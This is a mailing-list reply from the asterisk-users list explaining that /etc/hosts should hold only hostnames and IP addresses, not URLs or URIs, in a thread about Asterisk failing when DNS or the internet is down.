+1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] asterisk fails when DNS or internet fails
On 05/30/2011 02:44 AM, gincantalupo wrote: - do not use urls, only ip addresses in sip.conf or put your urls inside /etc/hosts (is what I do especially sip providers urls) Definitely don't put URLs in /etc/hosts. I assume you meant URIs, but either way, neither one belongs there. That file is for overriding what would otherwise be a remote DNS query for a singular host (for applications using the libc resolver), and should only contain hostnames, short hostnames and IP addresses. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
